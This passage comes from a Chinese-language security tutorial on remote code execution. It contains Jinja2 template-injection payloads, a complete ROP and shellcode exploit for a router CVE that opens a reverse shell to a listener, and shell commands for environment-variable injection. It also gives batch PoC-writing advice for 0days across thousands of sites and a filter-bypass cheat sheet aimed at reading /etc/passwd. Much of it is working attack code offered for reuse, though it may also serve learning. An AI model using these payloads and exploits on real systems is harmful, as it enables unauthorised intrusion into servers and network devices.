                              print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\")}}{% endif %}{% endfor %}")

我們從output里隨便抽一個payload

例如第一行這個

圖片

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_ModuleLock' %}{{c.__init__.__globals__['__builtins__'].eval("print('ZACTEST')") }}{%endif %}{% endfor %}

然后打開我們的web服務,就是最開始的demo

圖片

打進去payload,我們可以看到成功print輸出ZACTEST

圖片

使用os模塊執行whoami

http://127.0.0.1:5000/?name={%for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}{% endif %}{% endfor %}

圖片

15 緩沖區溢出

因為我并不是玩pwn的,所以對緩沖區溢出RCE幾乎完全不懂,以下就直接把大佬文章搬過來(已經得到授權)原文鏈接出處:

https://ret2w1cky.com/2021/11/12/RV110W%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

假設我們已經通過類似固件解包,串口通信等方法獲取了路由器的固件等我們可以嘗試通過尋找已知的CVE來定位可能的rce,這里是尋找到了CVE-2020-3331這個漏洞。

由于并沒有對于漏洞點的一個精確定位 我們現在要一點一點的摸索;首先,在上面的Nmap 掃描中,我們知道網站是開放了443端口的。因此,上內部服務器之后netstat確定文件是最好的方式了。但是,因為某一些原因,其中的netstst命令可能因為版本過低沒有辦法使用一些參數,所以,我決定開個http服務器,把高等級的busybox傳上去

圖片

可以看到,443端口綁定的正是httpd文件,現在我們已經可以確定漏洞文件了,現在只需要查找漏洞的函數了

這時候,我們就可以使用diff查找也就是查找兩個文件不同的地方,我們使用Bindiff工具, 現在,我們解包新版本的和舊版本進行比對:

圖片

這里 可以說越紅就代表差異越大 但是 你越往下看就會發現唯一這個guest_logout_cgi和web有點關系 右鍵這個函數 View flow graph

圖片

嗯 隨便一看就可以看到這里有個高風險函數sscanf 地址在0x431ba8

其中sscanf的條件"%[^;];%[^=]=%[^\n]"里,% 表示選擇,% 表示過濾,中括號括起來的是類似正則

%[^;]:分號前的所有字符都要

%*[^=]:分號后,等號前的字符都不要

%[^\n]:等號后,換行符前的所有字符都要

也就是說,如果輸入字符串”aaa;bbb=ccc”,會將aaa和ccc寫入對應變量,并沒有限制長度,會導致棧溢出

找到了這段代碼 我們現在要對偽代碼進行分析 看看需要達到那些分支才能達到sscanf函數

圖片

通過查閱函數 可以知道我們需要讓...

  • cmac:mac格式
  • cip:ip格式
  • submit_button:包含status_guestnet.asp

現在知道了頁面是/guest_logout.cgi了 需要達成這些條件 那么 我們就可以開始試圖溢出了 exp如下 :

import requests
url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'a'*100,"cip":"192.168.1.100"}

其中 我們還需要確定是用get 還是 post進行攻擊 具體還是自己試一試吧 最后會發現只有post攻擊下 web后臺會轉圈圈 所以可以確定是 post攻擊方法

gdb-server 我們內部使用

https://gitee.com/h4lo1/HatLab_Tools_Library/tree/master/%E9%9D%99%E6%80%81%E7%BC%96%E8%AF%91%E8%B0%83%E8%AF%95%E7%A8%

使用wget 下載到 /tmp目錄 通過上一次的netstat掃描 確定進程號 并且綁定進程號 格式如下:

./gdb.server :<綁定端口> --attach <綁定進程>

在exp上 我利用cyclic腳本來確定溢出點

exp如下:

import requests
import requests
payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
#(cyclic 200)
url = "https://10.10.10.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+payload,"cip":"192.168.1.100"}
requests.packages.urllib3.disable_warnings()
requests.post(url, data=payload, verify=False, timeout=1)

打開gdb multiarch 這樣設置

圖片

#(記得按c)

圖片

發送exp后 成功 確定了溢出點為 aaaw 通過 cyclic -l 查詢 發現為85

現在 我們就可以準備構造語句了

ROP Get shell

mips架構硬件并不支持nx,所以利用方式通常為劫持程序流執行shellcode

由于sscanf棧溢出,所以不能有空字節,而程序本身的gadget都是有空字節的。。。

這時候自然想到用libc的gadget,但是,比較詭異的一點是,它的libc基址每次都不變

這里 我們可以通過cat /proc/<pid>/maps查看

所以 我們就要通過ret2libc的方式getshell 我們選擇/lib/libc.so.0

利用mipsgadget 發現兩條有用的gadgets

| 0x000257A0 | addiu sp,0x58+var_40 | jalr $s0 |

| 0x0003D050 | move a0 | jalr $a0 |

這樣會造成什么效果呢?程序返回時,程序執行流被控制為0x257a0,去執行第一條gadget,a0 = sp + 0x18,jmp到s0寄存器,s0寄存器存的是第二條gadget,繼而去執行第二條gadget,將a0放到t9,然后jmp到a0,a0存的是shellcode的地址,于是程序就會執行shellcode

Shellcode

我們shellcode用 msfvenom 不會生產空字節

圖片

那么小伙伴可能要問了 那s0寄存器地址怎么算呢?

其實 只要用我們第一次算溢出的圖用 cyclic算就行了 也就是cyclic -l aaan

圖片

Exp:

import requests
from pwn import *
p = listen(8788)
context.arch = 'mips'
context.endian = 'little'
context.os = 'linux'

libc = 0x2af98000
jmp_a0 = libc + 0x0003D050 # move  $t9,$a0; jalr  $a0
jmp_s0 = libc + 0x000257A0 # addiu  $a0,$sp,0x38+var_20 ; jalr  $s0 (var_20) = -20
buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\x54\x0e\x3c"
buf += b"\x22\x54\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"

payload1 = "status_guestnet.asp"
payload1 += 'a' * 49 + p32(jmp_a0) # control $s0
payload1 += (85 - 49 - 4) * 'a' + p32(jmp_s0) # control gadgets2 , retuen to jmp_s0
payload1 += 'a' * 18 + buf # control $sp + 18
url = "https://192.168.1.1/guest_logout.cgi"
payload2 = {
   "cmac":"12:af:aa:bb:cc:dd",
   "submit_button": payload1,
   "cip":"192.168.1.100"
}
requests.packages.urllib3.disable_warnings() #Hide warnings
requests.post(url, data=payload2, verify=False,timeout=1)
p.wait_for_connection()
log.success("getshell")
p.interactive()

成功getshell

圖片

16 php環境變量注入

某次在P牛的知識星球劃水,發現了一個很騷的思路如下

圖片

我們可以看到兩個點,putenv,傳入的參數envs和最后的不可控變量system

圖片

這篇文章已經說得很詳細了

https://tttang.com/archive/1450/

所以這里只是簡單總結,如果想深入研究可以看看這篇帖子

下載源碼然后看到這個文件\glibc-2.31\libio\iopopen.c,我們可以在89行看到的執行sh -c,加上p牛的那段代碼,最終輸出的是sh -c echo hello

圖片

Readfile的目的是讀取SHELL中的profile文件

圖片

圖片

然后我們可以看到這段代碼的257行,name被expandstr解析

圖片

文章里說,iflag經過分析是表示是否傳入-i參數,然后我溯源的時候發現應該是在\dash-0.5.10.2\src\options.h文件和\dash-0.5.10.2\src\options.c文件中定義的

圖片

圖片

所以后面傳參過去-i -c就可以了

ENV='$(id1>&2)' dash -i -c 'echo hello'

最后經過大佬的分析,在文件variables.c這段代碼中

圖片

Parse_and_execute執行temp_string

我們可以在bash-4.4-beta2\bash-4.4-beta2\builtins\evalstring.c文件看到該函數

圖片

不過其實哪怕看其他幾個傳參點也能知道parse_and_excute執行的就是shell命令

圖片

最后以p牛給的幾個途徑完結

BASH_ENV:可以在bash -c的時候注入任意命令

ENV:可以在sh -i -c的時候注入任意命令

PS1:可以在sh或bash交互式環境下執行任意命令

PROMPT_COMMAND:可以在bash交互式環境下執行任意命令

BASH_FUNC_xxx%%:可以在bash -c或sh -c的時候執行任意命令

env 'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"

圖片

當然除了這種,還有個LD_PRELOAD,我這里就不復現了,感興趣的可以看看

http://www.hackdig.com/01/hack-572721.htm

17 POC/EXP編寫

RCE的原理大家基本都懂了,但比如挖到了0day,基本都是幾千個站及以上了,如果刷分的話手測得累死,所以需要自己開發poc進行批量探測

這里先拿一個簡單的get傳參的rce來寫

用一個小0day來做示范,如下

圖片

利用payload

/data/manage/cmd.php?cmd=whoami

圖片

可以看到成功回顯

圖片

那么思路就很清晰了,rce直接用輸出的數據,然后判斷返回包是否存在,導入request包,然后傳參,判斷返回包是否存在我們想要的

圖片

Exp編寫如下:

我們可以看到< br >< pre >后面使我們的命令回顯,那么我們之前的字符都不需要,所以print出下標和整個html代碼

圖片

我們可以看到我們的命令回顯在< 這里開頭后的第九個位置,于是取到下標b,從下標b開始到最后的都是我們的命令回顯,那么就可以輕而易舉的寫出來exp

圖片

當然這只是get的方法,那么post的poc/exp該如何編寫呢?兩者差不多,區別就在于該如何傳參

這里拿出一個某網關的rce做案例,可以看到,判斷flag是否等于1,如果等于1就直接拼接參數sipdev,然后exec無過濾直接輸出

圖片

然后漏洞復現,因為這時候我的burp突然壞了,所以用google的hackbar來利用,就是沒burp直接看返回包方便

圖片

成功RCE

圖片

圖片

簡單poc編寫

圖片

簡單exp編寫

圖片

如果批量的話只需要同目錄建一個url.txt,然后with open打開遍歷就行了,網上文章很多很基礎,這里就不做演示了

18 Bypass筆記

基本案例就這些了,最后在加上一些RCEbypass的方法(本人java并不是很好,所以這里只有php和shell系統命令之類的),有些復現過有些沒復現,可自行測試,可能不是很全,也歡迎大佬聯系我進行補充

1.變量bypass

a=c;b=a;c=t;

b$c /etc/passwd

2.16編碼繞過

"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");

3.oct編碼繞過

$(printf "\154\163")//ls命令

4.拼接繞過

sy.(st).em(whoami);//

c''a''t /etc/passwd//單引

c""a""t /etc/passwd//雙引

c``a``t /etc/passwd/反單引

c\a\t /etc/passwd//反斜線

@,{x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在沒有傳入參數的情況下,這些特殊字符默認為空,如下:

wh$1oami

who$@ami

whoa$*mi

5.利用未賦值變量繞過

cat /etc$u/passwd

cat$u /etc/passwd

6.通配符繞過

cat /passwd:

??? /e??/?a????

cat /e/pa

7.base編碼繞過

echo 'Y2F0wqAK' | base64 -d '1.txt'

8.過濾分割符 | & ;

; //分號

| //只執行后面那條命令

|| //只執行前面那條命令

& //兩條命令都會執行

&& //兩條命令都會執行

%0a //換行符

%0d //回車符號

用?>代替;

在php中可以用?>來代替最后的一個;,因為php遇到定界符關閉標簽會自動在末尾加上一個分號

9.遠程下載/復制繞過

Copy,wget,curl等函數,不直接寫入文件,而是遠程下載來保存文件

當然除了這些肯定還有很多繞過方法,不過本篇文章不著重于此處,可自行搜索

文章中部分是互聯網的案例與素材,上上下下看了快幾百個網站進行資料查找,問了很多大佬,全程自己打字寫所以肯定會有錯誤,看到有技術性錯誤私聊我進行修改or刪除,因為參考站點太多了,這里就不一一寫引用了,如有侵權請私信我修改or刪除


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1928/